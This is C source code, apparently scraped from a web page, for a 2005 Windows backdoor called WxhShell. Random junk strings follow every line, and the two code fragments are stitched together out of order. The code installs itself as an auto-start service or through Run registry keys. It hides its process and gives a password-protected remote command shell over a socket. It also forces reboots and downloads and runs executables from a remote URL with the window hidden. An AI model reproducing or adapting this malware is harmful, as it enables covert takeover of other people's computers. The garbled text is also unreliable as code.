  case 'd': { cgyo_ k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v["3  
    if(Boot(SHUTDOWN)) KU2$5[~j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xv0M  
    else { 4r*Pa(;y  
    closesocket(wsh); 6ojo##j  
    ExitThread(0); oCJbkt=  
    } `s}BXKIv}  
    break; "T*I|  
    } F!~l MpuE  
  // 获取shell )vHi|~(   
  case 's': { *ro.mQ_  
    CmdShell(wsh); 3A R%&:-  
    closesocket(wsh); ){tPP$-i=  
    ExitThread(0); |s`Kd-'|q  
    break; ?L`ZKRD  
  } K^ 6+Ily  
  // 退出 v>at/ef  
  case 'x': { .;slrg(5F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ed=}PrE  
    CloseIt(wsh); & s-VSu7  
    break; [.U^Wrd  
    } /c^e& D  
  // 离开 e\~l!f'z  
  case 'q': { {8ECNQ[]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Uh\]?G[G  
    closesocket(wsh); <bX 1,}?  
    WSACleanup(); n2E4!L|q  
    exit(1); MF|*AB|E  
    break; a4u^f5)@  
        } s]bPV,"p  
  } qC.i6IL  
  } 0Bu*g LY  
kJeu40oN  
  // 提示信息 6J;i,/ky  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  h,hL?imD  
} -aN":?8(G  
  } lA4hm4"i(,  
&(0N.=R  
  return; 0s!N@ ,T  
} wWFW,3b  
>p |yf. G  
// shell模块句柄 xSOoIsL[  
int CmdShell(SOCKET sock) 2H>aC wfX  
{ H%~Q?4  
STARTUPINFO si; 6JWGu/A  
ZeroMemory(&si,sizeof(si)); U6a z hi&,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !5E9sk{)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1g81S_T .  
PROCESS_INFORMATION ProcessInfo; gA"<MI'y  
char cmdline[]="cmd"; +{Gw9h"5g*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S[.5n]  
  return 0; TnxU/)  
} 9C>ynH  
qSR? ,G  
// 自身启动模式 V7n >,k5  
int StartFromService(void) ^#7viZ*  
{ fOJj(0=y  
typedef struct x cnt?%%M  
{ Vs|sw  
  DWORD ExitStatus; 4[xA- \  
  DWORD PebBaseAddress; EaCZx  
  DWORD AffinityMask; cb4b, Ri  
  DWORD BasePriority; @92gb$xT  
  ULONG UniqueProcessId; uc\.oG;~q  
  ULONG InheritedFromUniqueProcessId; wmiafBA e  
}   PROCESS_BASIC_INFORMATION; s79 q 5  
@[0jFjK  
PROCNTQSIP NtQueryInformationProcess; Y8t Nwh  
QglYU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?d#Lr*m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !4L#$VG  
?.~]mvOR  
  HANDLE             hProcess; bWUS9WT  
  PROCESS_BASIC_INFORMATION pbi; sxt`0oE  
R;.d/U|av  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9g4QVo|  
  if(NULL == hInst ) return 0; ;h~?ko  
LEA;dSf  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &E`9>&~J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8`DO[Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pB[%:w/@l:  
.oEFX8  
  if (!NtQueryInformationProcess) return 0; EuLXtq  
A mvw`u>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G tG&yeB  
  if(!hProcess) return 0; :(+]b  
b%<164i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  srvYAAE  
>|5XaaDa  
  CloseHandle(hProcess); B6(h7~0(<  
v<%]XHN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G~O" /WM  
if(hProcess==NULL) return 0; `)LIVi"(D  
/XjN%|  
HMODULE hMod; vB=;_=^i 1  
char procName[255]; Bmmb  
unsigned long cbNeeded; :mzCeX8 *  
#fO*ROe  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hzW{_Q.|?  
>@z d\}@W  
  CloseHandle(hProcess); j,Pwket  
m\1VF\  
if(strstr(procName,"services")) return 1; // 以服务启动 !W 0P `i<  
_jiQL66pY  
  return 0; // 注册表启动 4Fh&V{`W  
} `3]Rg0g&Xe  
tx gvVQ  
// 主模块 NYGmLbq  
int StartWxhshell(LPSTR lpCmdLine) l&vm[3  
{ $+0=GN  
  SOCKET wsl; lGl[^ 0  
BOOL val=TRUE; S_ZLTcq<1  
  int port=0; Al=(sHc'  
  struct sockaddr_in door; ip<15;Z  
_r~!O$2  
  if(wscfg.ws_autoins) Install(); G OH  
,0BR-#  
port=atoi(lpCmdLine);  4c  
#_on{I  
if(port<=0) port=wscfg.ws_port; |X,$?ZDap  
Wk7L:uK  
  WSADATA data; P= &'wblm?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2%`^(\y  
D!c1;IHZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f<'n5}{RO0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a$~IQ2$|6  
  door.sin_family = AF_INET; E(7@'d{o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B:B8"ODV  
  door.sin_port = htons(port); a|8| @,  
,LoMt ]H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~?2rGE  
closesocket(wsl); #Tup]czO  
return 1; /A %om|+Gq  
} ?s1u#'aO  
71JM [2  
  if(listen(wsl,2) == INVALID_SOCKET) { )3BR[*u*  
closesocket(wsl); =X)Q7u".7  
return 1; ,Le&I9*%  
} A Z]P+v  
  Wxhshell(wsl); -08&&H  
  WSACleanup(); pp*bqY  
aJEbAs}  
return 0; tniPEmeS  
8f /T!5  
} tx2Vyu  
dDsjPM;2  
// 以NT服务方式启动 <WZ1-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -q'xC:m  
{ x:!C(Ep)  
DWORD   status = 0; SPfD2%jjC  
  DWORD   specificError = 0xfffffff; Uzan7A  
/'R UA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DZ%g^DRZX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LvSP #$f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b`(yu.{Jn  
  serviceStatus.dwWin32ExitCode     = 0; 9`)w@-~~  
  serviceStatus.dwServiceSpecificExitCode = 0; + 9F^F>mu  
  serviceStatus.dwCheckPoint       = 0; NFrNm'v  
  serviceStatus.dwWaitHint       = 0; omXBnzT  
) j{WeG7L  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %bCcsdK  
  if (hServiceStatusHandle==0) return; 83{x"G3>  
'LJ %.DJ  
status = GetLastError(); qf_h b  
  if (status!=NO_ERROR) +io;K]C  
{ YRg=yVo 2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qk_p}l-F1  
    serviceStatus.dwCheckPoint       = 0; %GVEY  
    serviceStatus.dwWaitHint       = 0; +^/Nil  
    serviceStatus.dwWin32ExitCode     = status; R88(dEK  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,ma Aw}=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0C lX  
    return; uAW*5 `[  
  } u5u0*c  
\e`6=Q%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Nm H}"ndv+  
  serviceStatus.dwCheckPoint       = 0; 2E@C0HaL  
  serviceStatus.dwWaitHint       = 0; A6@+gP<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `ENlV9  
} 7V9%)%=h|  
nu\  
// 处理NT服务事件,比如:启动、停止 w JapGc!   
VOID WINAPI NTServiceHandler(DWORD fdwControl) GVjv** U  
{ D=i0e8D!+  
switch(fdwControl) d[s;a.  
{ 1?/5A|?V4+  
case SERVICE_CONTROL_STOP: 30sC4}   
  serviceStatus.dwWin32ExitCode = 0; fK)ZJ_?w,@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ()+jrrK  
  serviceStatus.dwCheckPoint   = 0; W /~||s  
  serviceStatus.dwWaitHint     = 0; w,M1`RsK  
  { JxX jDYrU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0C7thl{Dms  
  } ;']vY  
  return; .fio<mqi  
case SERVICE_CONTROL_PAUSE: n4ds;N3Hd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X";QA":  
  break; ^yn[QWFO  
case SERVICE_CONTROL_CONTINUE: '0'"k2"vC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hW0,5>[7%  
  break; Ff)~clIK '  
case SERVICE_CONTROL_INTERROGATE: H3 A]m~=3  
  break; 1A|x$j6m  
}; q3,P|&T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,xAM[h&  
} Y(#d8o}}#  
]>VJ--fH  
// 标准应用程序主函数 RT.wTJS;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WU+Jo@]y  
{ "}]GQt< F  
EWu iaw.  
// 获取操作系统版本 d&[M8(  
OsIsNt=GetOsVer(); *pcbwd!/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZaukMEq  
oW yN:Qh  
  // 从命令行安装 S7Iu?R_I  
  if(strpbrk(lpCmdLine,"iI")) Install(); C:tSCNH[  
[I+)Ak5  
  // 下载执行文件 H#1*'e>  
if(wscfg.ws_downexe) { Ux%\Y.PPI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^'C,WZt  
  WinExec(wscfg.ws_filenam,SW_HIDE); o+if%3  
} %S(#cf!HP  
$>S}acuC  
if(!OsIsNt) { C*W.9  
// 如果时win9x,隐藏进程并且设置为注册表启动 I:uQB!  
HideProc(); }\PE {  
StartWxhshell(lpCmdLine); 'gk81@|  
} zJy 89ib'  
else 4'}_qAT  
  if(StartFromService()) v$.JmL0^J  
  // 以服务方式启动 "lv:hz  
  StartServiceCtrlDispatcher(DispatchTable); 94qHY1rp  
else brYYuN|Vc  
  // 普通方式启动 J^s<x#C  
  StartWxhshell(lpCmdLine); M f%^\g.}  
.(MbP  
return 0; Hg gR=>s  
} gJcXdv=]2  
{E3<GeHw4  
{.' ,%)  
S,wj[;cv4  
=========================================== bG?WB,1  
}<}`Q^Mlk  
3IJI5K_  
T;4gcJPn"M  
!7Yt`l$$z  
lt2Nwt0bv  
" Y1Gg (z  
3G%XG{dg  
#include <stdio.h> 2h|(8f:y  
#include <string.h> /C,>  
#include <windows.h> TY54e T  
#include <winsock2.h> JT.\f,z&  
#include <winsvc.h> fo!Lp*'0  
#include <urlmon.h> SSL%$:l@  
b68G&z>   
#pragma comment (lib, "Ws2_32.lib") V\rIN}7  
#pragma comment (lib, "urlmon.lib") #T$'.M  
%_j?<h&  
#define MAX_USER   100 // 最大客户端连接数 -NflaV~  
#define BUF_SOCK   200 // sock buffer >DL-Q\U  
#define KEY_BUFF   255 // 输入 buffer li 3PR$W V  
v'bd.eqw  
#define REBOOT     0   // 重启 Sf4h!ly  
#define SHUTDOWN   1   // 关机 u':0"5}  
Z68Wf5@to&  
#define DEF_PORT   5000 // 监听端口 9 .&Or4>  
~*cY&  9  
#define REG_LEN     16   // 注册表键长度 ]UCk_zWsn1  
#define SVC_LEN     80   // NT服务名长度 ik1L  
R.2KYhp ,  
// 从dll定义API yZ?_q$4kEI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k^dCX+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  Z@.ol Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \@PUljU]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7QOC]:r  
|bG[TOa  
// wxhshell配置信息 Y;> p)'z  
struct WSCFG { g]@R'2:1  
  int ws_port;         // 监听端口 Cs1%g  
  char ws_passstr[REG_LEN]; // 口令 Nz>E#.++  
  int ws_autoins;       // 安装标记, 1=yes 0=no iM\ Z J6  
  char ws_regname[REG_LEN]; // 注册表键名 Y9H *S*n  
  char ws_svcname[REG_LEN]; // 服务名 ;qVEI/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >;'1k'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;@ll  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m)[wZP*e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h@>rjeY@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G5QgnxwP2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /nMqEHCyg  
Vm1c-,)3  
}; eFXi )tl  
HDW\S#  
// default Wxhshell configuration 1:;&wf  
struct WSCFG wscfg={DEF_PORT, LnRi+n[@7  
    "xuhuanlingzhe", qq9tBCk  
    1, RP@idz  
    "Wxhshell", t 1RwB23  
    "Wxhshell", 8#Z\}gGz  
            "WxhShell Service", 9J;H.:WH  
    "Wrsky Windows CmdShell Service", ^qzT5W\@  
    "Please Input Your Password: ", MlC-Aad(  
  1, K` _E>k  
  "http://www.wrsky.com/wxhshell.exe", e2h k  
  "Wxhshell.exe" C#?d=x  
    }; b1>$sPJ+  
4qSS<SqY  
// 消息定义模块 qYu!:xa8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C@?e`=9(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; RH'F<!p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *(SBl}f4l  
char *msg_ws_ext="\n\rExit."; A$"$`)P!  
char *msg_ws_end="\n\rQuit."; #u=O 5%.  
char *msg_ws_boot="\n\rReboot..."; Ff#N|L'9_  
char *msg_ws_poff="\n\rShutdown..."; fN*4(yw  
char *msg_ws_down="\n\rSave to "; ubCJZ"!  
k#=leu"I  
char *msg_ws_err="\n\rErr!"; 7quwc'!  
char *msg_ws_ok="\n\rOK!"; yA>p[F  
= cI\OsV&?  
char ExeFile[MAX_PATH]; Y`O}]*{>8R  
int nUser = 0; Y)j,(9  
HANDLE handles[MAX_USER]; k}0  
int OsIsNt; ={i&F  
+$mskj0s  
SERVICE_STATUS       serviceStatus; ]MA)=' ~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bQN4ozSi  
by y1MgQd  
// 函数声明 O"-PNF,J  
int Install(void); _467~5JkU  
int Uninstall(void); A[$wxdc  
int DownloadFile(char *sURL, SOCKET wsh); C^42=?  
int Boot(int flag); ~z1KD)^   
void HideProc(void); wsGq>F~  
int GetOsVer(void); NMY!-Kv 5  
int Wxhshell(SOCKET wsl); &qI5*aQ8T  
void TalkWithClient(void *cs); }?qnwx.  
int CmdShell(SOCKET sock); .HyiPx3^  
int StartFromService(void); K~ /V  
int StartWxhshell(LPSTR lpCmdLine); ']6#7NU  
UUEDCtF)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cCbr-Z&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cp?P@-  
z?_}+  
// 数据结构和表定义 0_zSQn9c  
SERVICE_TABLE_ENTRY DispatchTable[] = qF6%XKbh=  
{ =cKk3kJC  
{wscfg.ws_svcname, NTServiceMain}, C<=p"pWw  
{NULL, NULL} [Z G j7  
}; !zJ67-G  
ZG[0rvW  
// 自我安装 @k #y-/~?  
int Install(void) oJu4vGy0  
{ r~Ubgd ]U  
  char svExeFile[MAX_PATH]; rMFZ#38d  
  HKEY key; ]:#$6D"  
  strcpy(svExeFile,ExeFile); ds[Z=_Ll  
kuud0VWJ  
// 如果是win9x系统,修改注册表设为自启动 adE0oXQH"  
if(!OsIsNt) { IlL   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .&Gtw _  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qmyZbo|8&  
  RegCloseKey(key); 9a Ps_|C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !skWe~/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]~M {@h!<  
  RegCloseKey(key); 257;@;  
  return 0; iR5soIR  
    } E|uXi)!.x  
  } v;qL? _:=c  
} vHe.+XY  
else { .MPOUo/e  
O xaua  
// 如果是NT以上系统,安装为系统服务 4wD^?S!p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); EGr5xR-  
if (schSCManager!=0) k+G4<qw  
{ vlyNQ7"%  
  SC_HANDLE schService = CreateService 8A]q!To  
  ( ;B7|tajd  
  schSCManager, 5e8-?w% e  
  wscfg.ws_svcname, g\nL n#  
  wscfg.ws_svcdisp, Ae zXou&  
  SERVICE_ALL_ACCESS, ';!UJWYl  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "m)O13x  
  SERVICE_AUTO_START, \mit&EUh}  
  SERVICE_ERROR_NORMAL, A_ z:^9  
  svExeFile, %a^!~qV  
  NULL, Y tj>U  
  NULL, ] r+I D  
  NULL, 2xBGs9_Y  
  NULL, W&[9x%Ba  
  NULL |Qq'_4:  
  ); ^n5QK HD  
  if (schService!=0) vjWgR9 4/{  
  { / ^M3-5@Q  
  CloseServiceHandle(schService); )tg*dE  
  CloseServiceHandle(schSCManager); .shI% 'V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ds5&5&af  
  strcat(svExeFile,wscfg.ws_svcname); ^o<Nz8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F+^[8zK^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a2)*tbM 9\  
  RegCloseKey(key); t$D[,$G9  
  return 0; ]>!_OCe&  
    } V0B4<TTAo~  
  } T js{ )r9  
  CloseServiceHandle(schSCManager); ]V\ g$@  
} 52Ffle8  
} $}o,7xAn  
yG_.|%e  
return 1; ?& ^l8gE  
} IN*Z__l8j`  
{lw ec"{  
// 自我卸载 udr'~,R  
int Uninstall(void) r|$g((g  
{ "d*  
  HKEY key; dQ o$^?  
goWt!,&f  
if(!OsIsNt) { .SFwjriZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t)b>f~  
  RegDeleteValue(key,wscfg.ws_regname); 2!`Z3>Oa  
  RegCloseKey(key); A[Xw|9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $S=OmdgR  
  RegDeleteValue(key,wscfg.ws_regname); cv&hT.1  
  RegCloseKey(key); z`6KX93  
  return 0; xBd% e-r  
  } @}}1xP4Sr  
} ^U1 +D^AJ  
} yrb%g~ELGn  
else { @g?z>n n  
A#\X-8/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xk<0QYv   
if (schSCManager!=0) Jx,s.Z0@7,  
{ S!bvU2d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p[I gnO  
  if (schService!=0) ba.OjK@  
  { EH%j$=@X  
  if(DeleteService(schService)!=0) { [#V! XdQ,  
  CloseServiceHandle(schService); XiUsaoQm3  
  CloseServiceHandle(schSCManager); (9h{6rc=I  
  return 0; oOw"k*,h:S  
  } ^ `9OA`2  
  CloseServiceHandle(schService); g M.(BN  
  } iE{SqX  
  CloseServiceHandle(schSCManager); c73ZEd+j  
} AS398L  
} WfI~l)  
F U%b"gP^  
return 1; 6 >2! kM7  
} R 1\]Y  
}'JPA&h|  
// 从指定url下载文件 !h;VdCCi#  
int DownloadFile(char *sURL, SOCKET wsh) =!2   
{ HkCme_y"  
  HRESULT hr; e&kg[jU  
char seps[]= "/"; gne c#j  
char *token; qyC"}y-  
char *file; WbF\=;$=7  
char myURL[MAX_PATH]; Ro69woU  
char myFILE[MAX_PATH]; *0tNun 5=3  
r>OE[C69  
strcpy(myURL,sURL); 9)`wd&!  
  token=strtok(myURL,seps); _;+&'=6.[  
  while(token!=NULL) :I8t}Wg  
  { 1,,:4 *)  
    file=token; p<NgT1"{  
  token=strtok(NULL,seps); q9>w3 <  
  } {w(N9Va,(  
^|2qD: ;  
GetCurrentDirectory(MAX_PATH,myFILE); #-O4x`W>  
strcat(myFILE, "\\"); w\a#Bfcv  
strcat(myFILE, file); xFh}%mwpt[  
  send(wsh,myFILE,strlen(myFILE),0); >U]. k8a)  
send(wsh,"...",3,0); qx NV~aK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); auU{I y   
  if(hr==S_OK) /fEXAk  
return 0; j(hC't-  
else UKdzJEhG  
return 1; GWsFW[T?~  
`,z{70  
} w ;O '6"  
a'r\e2/e?H  
// 系统电源模块 *&km5@*  
int Boot(int flag) Sr0mA M  
{ Smo'&x  
  HANDLE hToken; Spb'jAKj'  
  TOKEN_PRIVILEGES tkp; #';r 0?|  
Tbw8#[6AX  
  if(OsIsNt) { 6kk(FVX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y2fs$emv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A}o1I1+  
    tkp.PrivilegeCount = 1; "=)`*"rr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >jm9x1+C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qIl@,8T  
if(flag==REBOOT) { ! `o =2b=N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "|H0 X#  
  return 0; %vI]"a@  
} NUseYU``  
else { {[eY/)6H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6/ )A6Tt  
  return 0; Cq=c'(cX  
} Yi3DoaS;"  
  } kBkhuKd)V  
  else { )Lq FZ~B  
if(flag==REBOOT) { yWy9IWI["  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }_S]!AWz  
  return 0; E^G=  
} BRT2=}A  
else { (pl OV)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5 X rn]  
  return 0; DuaOi1Gw  
} ,k4 (b  
} BC3I{Y |  
Mh\c+1MFs  
return 1; O-RiDYej  
} ]dH; +3 }  
6[i-Tl  
// win9x进程隐藏模块 eL*Edl|#  
void HideProc(void) QCMF_;aNI  
{ $t^`Pt*:u  
'-et:Lv7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RN;Tqq):  
  if ( hKernel != NULL ) 6K6ihR!d  
  { V*)gJg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6Yu8ReuL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _F$?Z  
    FreeLibrary(hKernel); :DEZ$gi  
  } mOBS[M5*  
zc_3\N  
return; 3:r;(IaX  
} Gh.02  
>:.Bn8-  
// 获取操作系统版本 3s+D x$Ud  
int GetOsVer(void) Z+4J4Ka^!(  
{ d]<tFx>CQW  
  OSVERSIONINFO winfo; p ^Ruf?>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )Fbkt(1  
  GetVersionEx(&winfo); aV1(DZ83  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MQ01!Y[q_7  
  return 1; 4GJsVA(d|  
  else N?aU<-Tn  
  return 0; #qzozQ4  
} ^K8Ey#T  
.- w*&Hd7b  
// 客户端句柄模块 p AD@oPC  
int Wxhshell(SOCKET wsl) hP #>`)aNY  
{ y3l sAe#  
  SOCKET wsh; 6D>o(b2  
  struct sockaddr_in client; sXAXHZ{  
  DWORD myID; m$3&r2vgi  
m]85F^R0  
  while(nUser<MAX_USER) FXIQS'  
{ ^ `!6Yax?  
  int nSize=sizeof(client); 5 gE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oY &r76  
  if(wsh==INVALID_SOCKET) return 1; AV?*r-vWL.  
\JX8`]|&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nlKWZYv  
if(handles[nUser]==0) 3.Y/ZWON  
  closesocket(wsh); 0HE@L_$;2  
else Al! P=h  
  nUser++; 1L3L!@  
  } mwBOhEefNJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `.@N9+Aj  
 {sbQf7)  
  return 0; V7.EDE2A3  
} NcdOzx>  
mZmwCS8  
// 关闭 socket '/mwXvl  
void CloseIt(SOCKET wsh) 4e* rBTl  
{ 8{'L:yzMY  
closesocket(wsh); }I !D65-#'  
nUser--; J?V8uEly  
ExitThread(0); hW]:CIqk  
} 7 'N&jI   
rTQrlQ:@  
// 客户端请求句柄 94A re<  
void TalkWithClient(void *cs)  \:Q)Ef  
{ Y~,N,>nITu  
hl8[A-d(R  
  SOCKET wsh=(SOCKET)cs; mI-$4st]  
  char pwd[SVC_LEN]; @hp@*$#& 9  
  char cmd[KEY_BUFF]; E` BL3+kQ  
char chr[1]; EP*"=_  
int i,j; 7D<M\l8G  
5G|(od3  
  while (nUser < MAX_USER) { x)s`j(pYC  
Fq:BRgCE  
if(wscfg.ws_passstr) { S'q (Qo  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0I1bY]*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E`$d!7O  
  //ZeroMemory(pwd,KEY_BUFF); =98@MX%P  
      i=0; sRqFsj}3e  
  while(i<SVC_LEN) { bNi\+=v<Ys  
?FJU>+{">  
  // 设置超时 Ahm*_E2E  
  fd_set FdRead; d=`hFwD9  
  struct timeval TimeOut; ngE5$}UM  
  FD_ZERO(&FdRead); EHmw(%a|+  
  FD_SET(wsh,&FdRead); ]F P(,:Yw  
  TimeOut.tv_sec=8; Enyx+]9  
  TimeOut.tv_usec=0; )V7bi^r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SRyAW\*LWU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Zgd| J T7  
|4UW.dGHPo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #A+ dj| b  
  pwd=chr[0]; g,*LP  
  if(chr[0]==0xd || chr[0]==0xa) { @uApm~}  
  pwd=0; 63 F@F t  
  break; rxJmK$qd  
  } gy0l@ 5 N  
  i++; /3{jeU.k  
    } .*+%-%CbP  
{94qsVxQZ  
  // 如果是非法用户,关闭 socket [7 oU =  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Tc$Jvy-G4A  
} @p~f*b4H?  
R1)v;^B|)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :+06M@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [f 4Nq \i  
`ZhDoLpH<  
while(1) { 7b7@"Zw*  
8Th{(J_  
  ZeroMemory(cmd,KEY_BUFF); ,t2Mur  
yy8h8{=g  
      // 自动支持客户端 telnet标准   s|FfBG  
  j=0; bLuAe EA  
  while(j<KEY_BUFF) { WKek^TW4HE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >UlAae44  
  cmd[j]=chr[0]; $}+t|`*q8]  
  if(chr[0]==0xa || chr[0]==0xd) {  UDl[  
  cmd[j]=0; ,ELbm  
  break; \iVb;7r)9:  
  } vr/*z euA  
  j++; O1[`2kj^HB  
    } ai0am  
Q*&k6A"jx  
  // 下载文件 3 vr T`  
  if(strstr(cmd,"http://")) { W~b->F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  $I}7EI  
  if(DownloadFile(cmd,wsh)) `3GYV|LeQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3HCH-?U5  
  else <u`m4w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;tg9$P<85  
  } re[v}cB  
  else { xYSNop3_  
_=$:<wIE[  
